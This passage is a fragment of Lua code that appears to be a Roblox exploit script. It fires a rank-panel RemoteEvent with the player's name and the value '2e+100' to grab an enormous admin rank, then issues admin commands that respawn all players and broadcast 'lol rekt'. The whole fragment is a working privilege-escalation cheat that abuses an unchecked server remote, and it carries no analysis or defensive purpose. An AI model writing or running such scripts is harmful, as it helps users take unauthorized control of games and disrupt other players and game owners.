RequestCommand:InvokeServer(";re all") RequestCommand:InvokeServer(";sm lol rekt") end) game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Rank.RemoteEvent:FireServer(game.Players.LocalPlayer.Name, "2e+100") game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = true game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Close.Activated:Connect(function() game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = false end)